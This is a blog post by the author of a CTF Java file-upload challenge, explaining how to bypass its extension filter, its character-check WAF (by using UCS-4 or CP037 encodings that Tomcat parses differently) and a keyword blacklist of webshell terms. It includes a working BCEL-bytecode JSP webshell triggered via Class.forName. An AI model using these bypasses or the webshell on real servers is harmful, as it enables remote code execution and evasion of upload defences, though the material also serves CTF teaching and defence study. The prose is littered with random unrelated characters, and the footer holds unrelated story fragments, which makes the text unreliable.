L3HCTF bypass出題人視角

@yzddmr6

自己在L3HCTF中出了一道java上傳繞過題目bypass。其中題目中的一些trick不僅僅是用于CTF出題旦万,對于實(shí)戰(zhàn)滲透也是有一定的幫助。今天跟大家分享一下出題時的一些思考跟解題細(xì)節(jié)镶蹋。

題目有三道過濾

1. 繞過后綴

public static String checkExt(String ext) {
        ext = ext.toLowerCase();

        String[] blackExtList = {
                "jsp", "jspx"
        };
        for (String blackExt : blackExtList) {
            if (ext.contains(blackExt)) {
                ext = ext.replace(blackExt, "");
            }
        }

        return ext;
    }

后綴jsp/jspx會被替換為空成艘,用雙寫繞過:jsjspp。常規(guī)操作

2. 繞過可見字符檢測

第二階段題目中直接用getString獲取FileItem的內(nèi)容贺归,然后傳入了checkValidChars函數(shù)檢測淆两。checkValidChars函數(shù)主要功能是檢測content中是否存在連著兩個以上的字母數(shù)字,如果匹配成功則提示上傳失敗拂酣。

String content = item.getString();
boolean check = checkValidChars(content);
...
    public static boolean checkValidChars(String content) {
        Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
        Matcher matcher = pattern.matcher(content);
        return matcher.find();
    }

這里其實(shí)是模擬了一個WAF的場景秋冰,因?yàn)楹芏郬AF對于文件上傳都會有很粗暴的攔截,碰到j(luò)sp標(biāo)簽就給干死婶熬。

乍一看似乎并不可能被繞過剑勾,因?yàn)橹灰B著兩個字母數(shù)字就會被檢測到埃撵,讓人不由得想起了CTF經(jīng)典題目《php無字母數(shù)字webshell》。但是java不像php一樣支持變量函數(shù)虽另,需要從其他地方下手暂刘。

這里就用到了一個trick:FileItem.getString()對于編碼的解析跟Tomcat解析jsp是有差異的,默認(rèn)為ISO-8859-1

public String getString() {
    byte[] rawdata = this.get();
    String charset = this.getCharSet();
    if (charset == null) {
        charset = "ISO-8859-1";
    }

    try {
        return new String(rawdata, charset);
    } catch (UnsupportedEncodingException var4) {
        return new String(rawdata);
    }
}

而Tomcat對于jsp編碼的解析主要在org.apache.jasper.compiler.EncodingDetector這個類捂刺,其中有很多默認(rèn)用ISO-8859-1無法直接解析的編碼谣拣。

private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
        if (count < 2) {
            return new EncodingDetector.BomResult("UTF-8", 0);
        } else {
            int b0 = b4[0] & 255;
            int b1 = b4[1] & 255;
            if (b0 == 254 && b1 == 255) {
                return new EncodingDetector.BomResult("UTF-16BE", 2);
            } else if (b0 == 255 && b1 == 254) {
                return new EncodingDetector.BomResult("UTF-16LE", 2);
            } else if (count < 3) {
                return new EncodingDetector.BomResult("UTF-8", 0);
            } else {
                int b2 = b4[2] & 255;
                if (b0 == 239 && b1 == 187 && b2 == 191) {
                    return new EncodingDetector.BomResult("UTF-8", 3);
                } else if (count < 4) {
                    return new EncodingDetector.BomResult("UTF-8", 0);
                } else {
                    int b3 = b4[3] & 255;
                    if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {
                        return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
                    } else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {
                        return new EncodingDetector.BomResult("UTF-16BE", 0);
                    } else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {
                        return new EncodingDetector.BomResult("UTF-16LE", 0);
                    } else {
                        return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);
                    }
                }
            }
        }
    }

利用兩者對于編碼的識別結(jié)果不同,從而造成解析差異族展,進(jìn)行繞過芝发。

在看到的wp中基本都是利用UTF-16繞過,但是從函數(shù)中可以看到苛谷,Tomcat還支持另一些不常見編碼,如UCS-4和CP037格郁。這兩種編碼比較少見腹殿,并且部分后端語言是不支持直接解析的。

image
image

也就是說例书,如果遇到WAF或者webshell檢測引擎锣尉,在文件上傳時非常粗暴的檢測了jsp的標(biāo)簽,利用特殊的編碼即可造成降維打擊决采,隨便繞過自沧。

3. 繞過黑名單檢測

 String[] blackWordsList = {
                //危險關(guān)鍵字
                "newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",
                "setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",
                "readObject","defineClass",
                //寫文件
                "File", "Writer", "Stream", "commons",
                //request
                "request", "Request",
                //特殊編碼也處理一下
                "\\u", "CDATA", "&#"
                //這下總安全了吧
        };

這里也是比較有意思的一步,模擬了一個端上暴力webshell查殺引擎树瞭。

常見的webshell關(guān)鍵字都會被攔截拇厢,其他的一些編碼如unicode,html實(shí)體晒喷,cdata拆分也都加了關(guān)鍵字孝偎。并且加了文件類關(guān)鍵字,防止二次寫文件進(jìn)行繞過凉敲。甚至攔截了request對象衣盾,禁止直接傳入?yún)?shù)。

題目的定位為開放性題目爷抓,其實(shí)繞過的辦法很多势决。看到很多wp都是利用遠(yuǎn)程加載class或者jar來完成rce:

https://www.anquanke.com/post/id/259487

https://y4tacker.blog.csdn.net/article/details/121363886

當(dāng)時為了降低題目難度蓝撇,環(huán)境沒有設(shè)置不出網(wǎng)果复,并且jdk也是比較低的版本。那么如果題目設(shè)置了不出網(wǎng)環(huán)境又該怎么利用呢渤昌?

在這里提一種不出網(wǎng)也可利用的姿勢据悔,利用bcel ClassLoader繞過传透。

以三夢的github項(xiàng)目為例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com)

bcel字節(jié)碼webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的時候會解析并加載bcel字節(jié)碼。但是題目中把loadClass以及newInstance關(guān)鍵字都給封禁了极颓。

那么問題就變成了如何觸發(fā)loadClass方法

實(shí)際上Class.forName在查找類的時候朱盐,如果使用了三個參數(shù)的重載方法使用自定義類加載器,就會調(diào)用其類加載器的loadClass方法菠隆。

僅僅從源碼看不出來這一點(diǎn)兵琳,forName0經(jīng)過了一層native方法。下個斷點(diǎn)從堆棧里可以看到這一過程骇径。

image

具體實(shí)現(xiàn)如下:

<%
    Class.forName("$BCEL$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$E$b8$w$8aP$l6$ee$w$dd$e2$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$ee1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5OB$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$fc$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$60$bdy$P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader());

%>

其中bcel字節(jié)碼生成的代碼可以參考三夢師傅的項(xiàng)目:https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/1/BcelEvil.java

另外躯肌,黑名單中小寫的lookup并不是非預(yù)期,原本的方法確實(shí)是小寫破衔。

image

繞過是因?yàn)楹芏鄮煾嫡业搅肆硪粋€重載方法doLookup清女,這是其中的一個預(yù)期解。

image

很多人沒有注意到這個靜態(tài)方法晰筛。因?yàn)槟壳皫缀跛衘ndi注入文章都說到的是第一個點(diǎn)lookup嫡丙,而doLookup這個觸發(fā)點(diǎn)需要翻看源碼才能找到。

此題目為開放性題目读第,姿勢很多曙博。出題的本意就是想看看大家在遇到市面上大部分姿勢都被ban掉的情況下會構(gòu)造出什么有意思的繞過。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末怜瞒,一起剝皮案震驚了整個濱河市父泳,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌吴汪,老刑警劉巖惠窄,帶你破解...
    沈念sama閱讀 218,941評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異漾橙,居然都是意外死亡睬捶,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,397評論 3 395
  • 文/潘曉璐 我一進(jìn)店門近刘,熙熙樓的掌柜王于貴愁眉苦臉地迎上來擒贸,“玉大人,你說我怎么就攤上這事觉渴〗榻伲” “怎么了?”我有些...
    開封第一講書人閱讀 165,345評論 0 356
  • 文/不壞的土叔 我叫張陵案淋,是天一觀的道長座韵。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么誉碴? 我笑而不...
    開封第一講書人閱讀 58,851評論 1 295
  • 正文 為了忘掉前任宦棺,我火速辦了婚禮,結(jié)果婚禮上黔帕,老公的妹妹穿的比我還像新娘代咸。我一直安慰自己,他們只是感情好成黄,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,868評論 6 392
  • 文/花漫 我一把揭開白布呐芥。 她就那樣靜靜地躺著,像睡著了一般奋岁。 火紅的嫁衣襯著肌膚如雪思瘟。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,688評論 1 305
  • 那天闻伶,我揣著相機(jī)與錄音滨攻,去河邊找鬼。 笑死蓝翰,一個胖子當(dāng)著我的面吹牛光绕,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播霎箍,決...
    沈念sama閱讀 40,414評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼澡为!你這毒婦竟也來了漂坏?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,319評論 0 276
  • 序言:老撾萬榮一對情侶失蹤媒至,失蹤者是張志新(化名)和其女友劉穎顶别,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體拒啰,經(jīng)...
    沈念sama閱讀 45,775評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡驯绎,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了谋旦。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片剩失。...
    茶點(diǎn)故事閱讀 40,096評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖册着,靈堂內(nèi)的尸體忽然破棺而出拴孤,到底是詐尸還是另有隱情,我是刑警寧澤甲捏,帶...
    沈念sama閱讀 35,789評論 5 346
  • 正文 年R本政府宣布演熟,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏芒粹。R本人自食惡果不足惜兄纺,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,437評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望化漆。 院中可真熱鬧估脆,春花似錦、人聲如沸获三。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,993評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽疙教。三九已至棺聊,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間贞谓,已是汗流浹背限佩。 一陣腳步聲響...
    開封第一講書人閱讀 33,107評論 1 271
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留裸弦,地道東北人祟同。 一個月前我還...
    沈念sama閱讀 48,308評論 3 372
  • 正文 我出身青樓,卻偏偏與公主長得像理疙,于是被迫代替她去往敵國和親晕城。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,037評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 原文地址:https://yzddmr6.tk/posts/webshell-bypass-jsp/ 本文已授權(quán)懸...
    yzddMr6閱讀 9,596評論 0 5
  • p牛參與的項(xiàng)目vulhub,對于web安全從事人員而言應(yīng)該說是寶庫般的存在窖贤。里面許多的漏洞都是值得一一去學(xué)習(xí)的砖顷。在...
    byc_404閱讀 1,923評論 0 3
  • 1.信息收集 確認(rèn)os centos/ub/ 確認(rèn)CMS:THINKPHP&struct2/等 常見漏洞類型: 2...
    查無此人asdasd閱讀 934評論 0 1
  • 1.拿到一個待檢測的站,你覺得應(yīng)該先做什么赃梧? 收集信息 whois滤蝠、網(wǎng)站源IP、旁站授嘀、C段網(wǎng)站物咳、服務(wù)器系統(tǒng)版本、容...
    FKTX閱讀 1,722評論 0 0
  • 我使用的是火狐瀏覽器 使用火狐瀏覽器的hackbar插件 如果有錯誤的地方希望大家多多指出蹄皱,多謝多謝 WEB2 點(diǎn)...
    yangc隨想閱讀 54,283評論 11 16